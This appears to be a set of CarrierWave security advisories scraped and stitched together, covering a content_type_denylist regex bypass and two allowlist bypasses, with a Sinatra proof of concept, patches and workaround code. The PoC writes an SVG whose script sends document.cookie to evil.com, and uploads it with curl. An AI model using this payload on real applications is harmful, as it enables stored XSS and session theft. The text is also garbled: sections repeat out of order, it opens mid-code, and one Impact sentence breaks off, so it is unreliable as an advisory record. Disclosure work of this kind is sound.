require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

Other affected MIME types include application/xhtml+xml and any type containing regex metacharacters.

Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation:

rubydef denylisted_content_type?(denylist, content_type)
  Array(denylist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end

PoC

 app.rb
require "sinatra"
require "carrierwave"
require "fileutils"

FileUtils.mkdir_p("uploads/files")

CarrierWave.configure do |config|
  config.root      = File.expand_path("uploads")
  config.store_dir = "files"
end

class VaultUploader < CarrierWave::Uploader::Base
  storage :file
  def store_dir = "files"
  def content_type_denylist = %w[image/svg+xml]
end

post "/upload" do
  content_type :json
  san = CarrierWave::SanitizedFile.new(
    tempfile:     params[:file][:tempfile],
    filename:     params[:file][:filename],
    content_type: params[:file][:type]
  )
  uploader = VaultUploader.new
  begin
    uploader.store!(san)
    { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json
  rescue CarrierWave::IntegrityError => e
    { result: "blocked", message: e.message }.to_json
  end
end

bundle exec ruby app.rb &

echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg

curl -X POST http://localhost:4567/upload \
  -F "file=@xss.svg;type=image/svg+xml"

Expected response (denylist working):

json{ "result": "blocked", "message": "..." }

Actual response:

json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." }

Impact

Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary

Impact

The vulnerability CVE-2023-49090 wasn't fully addressed.

This vulnerability is caused by the fact that when uploading to object storage, including Amazon S3, it is possible to set a Content-Type value that is interpreted by browsers to be different from what's allowed by content_type_allowlist, by providing multiple values separated by commas.

This bypassed value can be used to cause XSS.

Patches

Upgrade to 3.0.7 or 2.2.6.

Workarounds

Use the following monkey patch to let CarrierWave parse the Content-type by using Marcel::MimeType.for.

# For CarrierWave 3.x
CarrierWave::SanitizedFile.class_eval do
  def declared_content_type
    @declared_content_type ||
      if @file.respond_to?(:content_type) && @file.content_type
        Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
      end
  end
end

# For CarrierWave 2.x
CarrierWave::SanitizedFile.class_eval do
  def existing_content_type
    if @file.respond_to?(:content_type) && @file.content_type
      Marcel::MimeType.for(declared_type: @file.content_type.to_s.chomp)
    end
  end
end

References

OWASP - File Upload Cheat Sheet

Impact

CarrierWave::Uploader::ContentTypeAllowlist has a Content-Type allowlist bypass vulnerability, possibly leading to XSS.

The validation in allowlisted_content_type? determines Content-Type permissions by performing a partial match. If the content_type argument of allowlisted_content_type? is passed a value crafted by the attacker, Content-Types not included in the content_type_allowlist will be allowed.

In addition, by setting the Content-Type configured by the attacker at the time of file delivery, it is possible to cause XSS on the user's browser when the uploaded file is opened.

Patches

Upgrade to 3.0.5 or 2.2.5.

Workarounds

When validating with allowlisted_content_type? in CarrierWave::Uploader::ContentTypeAllowlist , forward match(\A) the Content-Type set in content_type_allowlist, preventing unintentional permission of text/html;image/png when you want to allow only image/png in content_type_allowlist.

References

OWASP - File Upload Cheat Sheet

Summary

CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block.

Note: CarrierWave is aware #content_type_denylist is deprecated for the security reason, but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without Regexp.quote or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else.

Details

In lib/carrierwave/uploader/content_type_denylist.rb:57, string denylist entries are interpolated directly into a regex without Regexp.quote or anchoring:

def denylisted_content_type?(denylist, content_type)
  Array(denylist).any? { |item| content_type =~ /#{item}/ }
end
The entry "image/svg+xml" becomes the regex /image\/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +.
This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor:
rubydef allowlisted_content_type?(allowlist, content_type)
  Array(allowlist).any? do |item|
    item = Regexp.quote(item) if item.class != Regexp
    content_type =~ /\A#{item}/
  end
end